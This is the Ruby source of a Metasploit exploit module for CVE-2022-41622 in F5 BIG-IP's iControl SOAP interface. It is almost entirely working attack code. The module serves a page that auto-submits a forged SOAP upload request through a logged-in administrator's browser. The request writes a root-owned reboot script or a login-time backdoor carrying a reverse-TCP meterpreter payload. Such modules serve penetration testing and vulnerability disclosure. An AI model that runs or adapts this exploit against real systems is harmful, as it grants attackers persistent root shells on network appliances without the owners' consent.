/
f5_icontrol_soap_csrf_rce_cve_2022_41622.rb
166 lines (146 loc) · 6.33 KB
/
f5_icontrol_soap_csrf_rce_cve_2022_41622.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'F5 BIG-IP iControl CSRF File Write SOAP API',
'Description' => %q{
This module exploits a cross-site request forgery (CSRF) vulnerability
in F5 Big-IP's iControl interface to write an arbitrary file to the
filesystem.
While any file can be written to any location as root, the
exploitability is limited by SELinux; the vast majority of writable
locations are unavailable. By default, we write to a script that
executes at reboot, which means the payload will execute the next time
the server boots.
An alternate target - Login - will add a backdoor that executes next
time a user logs in interactively. This overwrites a file,
but we restore it when we get a session
Note that because this is a CSRF vulnerability, it starts a web
server, but an authenticated administrator must visit the site, which
redirects them to the target.
},
'Author' => [
'Ron Bowes' # Discovery, PoC, and module
],
'References' => [
['CVE', '2022-41622'],
['URL', 'https://github.com/rbowes-r7/refreshing-soap-exploit'],
['URL', 'https://www.rapid7.com/blog/post/2022/11/16/cve-2022-41622-and-cve-2022-41800-fixed-f5-big-ip-and-icontrol-rest-vulnerabilities-and-exposures/'],
['URL', 'https://support.f5.com/csp/article/K97843387'],
['URL', 'https://support.f5.com/csp/article/K94221585'],
['URL', 'https://support.f5.com/csp/article/K05403841'],
],
'License' => MSF_LICENSE,
'DisclosureDate' => '2022-11-16', # Vendor advisory
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD],
'Type' => :unix_cmd,
'Privileged' => true,
'Targets' => [
[ 'Restart', {}, ],
[ 'Login', {}, ],
[ 'Custom', {}, ]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true,
'Payload' => 'cmd/unix/python/meterpreter/reverse_tcp'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
IOC_IN_LOGS,
ARTIFACTS_ON_DISK
]
}
)
)
register_options(
[
OptString.new('TARGET_HOST', [true, 'The IP or domain name of the target F5 device']),
OptString.new('TARGET_URI', [true, 'The URI of the SOAP API', '/iControl/iControlPortal.cgi']),
OptBool.new('TARGET_SSL', [true, 'Use SSL for the upstream connection?', true]),
OptString.new('FILENAME', [false, 'The file on the target to overwrite (for "custom" target) - note that SELinux prevents overwriting a great deal of useful files']),
]
)
end
def on_request_uri(socket, _request)
if datastore['TARGET'] == 0 # restart
filename = '/shared/f5_update_action'
file_payload = <<~EOT
UpdateAction
https://localhost/success`#{payload.encoded}`
https://localhost/error
0
0
0
0
EOT
# Delete the logfile if we get a session
register_file_for_cleanup('/var/log/f5_update_checker.out')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come approximately 2 minutes after the target is rebooted")
elsif datastore['TARGET'] == 1 # login
filename = '/var/run/config/timeout.sh'
file_payload = "#{payload.encoded} & disown;"
# Delete the backdoored file if we get a session.. this will be fixed at
# next reboot
register_file_for_cleanup('/var/run/config/timeout.sh')
print_status("Redirecting the admin to overwrite #{filename}; if successful, your session will come the next time a user logs in interactively")
else # Custom
filename = datastore['FILENAME']
file_payload = payload.encoded
print_status("Redirecting the admin to overwrite #{filename} with the payload")
end
# Build the SOAP request that'll be sent to the target server
csrf_payload = %(
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
<soapenv:Header/>
<soapenv:Body>
<con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<file_name xsi:type="xsd:string">#{filename}</file_name>
<file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
<!--type: Common.OctetSequence-->
<file_data xsi:type="urn:Common.OctetSequence">#{Rex::Text.encode_base64(file_payload)}</file_data>
<chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
</file_context>
</con:upload_file>
</soapenv:Body>
</soapenv:Envelope>
)
# Build the target URL
target_url = "#{datastore['TARGET_SSL'] ? 'https' : 'http'}://#{datastore['TARGET_HOST']}#{datastore['TARGET_URI']}"
# Build the HTML payload that'll send the SOAP request via the user's browser
html_payload = %(
<html>
<body>
<form action="#{target_url}" method="POST" enctype="text/plain">
<textarea id="payload" name="<!--">-->#{Rex::Text.html_encode(csrf_payload)}</textarea>
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
)
# Send the HTML to the browser
send_response(socket, html_payload, { 'Content-Type' => 'text/html' })
end
def exploit
# Sanity check
if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)
fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')
end
print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')
super
end
end